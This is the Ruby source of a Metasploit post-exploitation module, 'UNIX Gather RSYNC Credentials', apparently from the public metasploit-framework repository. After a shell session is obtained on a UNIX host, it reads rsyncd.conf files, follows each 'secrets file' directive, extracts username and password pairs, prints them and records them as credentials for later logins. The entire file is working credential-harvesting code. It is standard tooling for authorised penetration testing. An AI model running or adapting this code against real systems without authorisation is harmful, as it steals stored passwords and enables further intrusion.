metasploit-framework/modules/post/multi/gather/rsyncd_creds.rb

112 lines
3.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(
update_info(
info,
'Name' => 'UNIX Gather RSYNC Credentials',
'Description' => %q(
Post Module to obtain credentials saved for RSYNC in various locations
),
'License' => MSF_LICENSE,
'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],
'SessionTypes' => %w(shell)
)
)
register_options(
[
OptString.new('USER_CONFIG', [false, 'Attempt to get passwords from this RSYNC ' \
'configuration file relative to each local user\'s home directory. Leave unset to disable.', 'rsyncd.conf'])
]
)
register_advanced_options(
[
OptString.new('RSYNCD_CONFIG', [true, 'Path to rsyncd.conf', '/etc/rsyncd.conf'])
]
)
end
def setup
@user_config = datastore['USER_CONFIG'].blank? ? nil : datastore['USER_CONFIG']
end
def dump_rsync_secrets(config_file)
vprint_status("Attempting to get RSYNC creds from #{config_file}")
creds_table = Rex::Text::Table.new(
'Header' => "RSYNC credentials from #{config_file}",
'Columns' => %w(Username Password Module)
)
# read the rsync configuration file, extracting the 'secrets file'
# directive for any rsync modules (shares) within
rsync_config = Rex::Parser::Ini.new(config_file)
# https://github.com/rapid7/metasploit-framework/issues/6265
rsync_config.each_key do |rmodule|
# XXX: Ini assumes anything on either side of the = is the key and value,
# including spaces, so we need to fix this
module_config = Hash[rsync_config[rmodule].map { |k, v| [ k.strip, v.strip ] }]
next unless (secrets_file = module_config['secrets file'])
read_file(secrets_file).split(/\n/).map do |line|
next if line =~ /^#/
if /^(?<user>[^:]+):(?<password>.*)$/ =~ line
creds_table << [ user, password, rmodule ]
report_rsync_cred(user, password, rmodule)
end
end
end
return if creds_table.rows.empty?
print_line(creds_table.to_s)
end
def report_rsync_cred(user, password, rmodule)
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
username: user,
private_data: password,
private_type: :password,
realm_value: rmodule,
# XXX: add to MDM?
#realm_key: Metasploit::Model::Realm::Key::RSYNC_MODULE,
workspace_id: myworkspace_id
}
credential_core = create_credential(credential_data)
login_data = {
address: session.session_host,
# TODO: rsync is 99.9% of the time on 873/TCP, but can be configured differently with the
# 'port' directive in the global part of the rsyncd configuration file.
# Unfortunately, Rex::Parser::Ini does not support parsing this just yet
port: 873,
protocol: "tcp",
service_name: "rsync",
core: credential_core,
access_level: "User",
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}
create_credential_login(login_data)
end
def run
# build up a list of rsync configuration files to read, including the
# default location of the daemon config as well as any per-user
# configuration files that may exist (rare)
config_path = datastore['RSYNCD_CONFIG']
config_files = Set.new([ config_path ])
config_files |= enum_user_directories.map { |d| ::File.join(d, @user_config) } if @user_config
config_files.map { |config_file| dump_rsync_secrets(config_file) }
end
end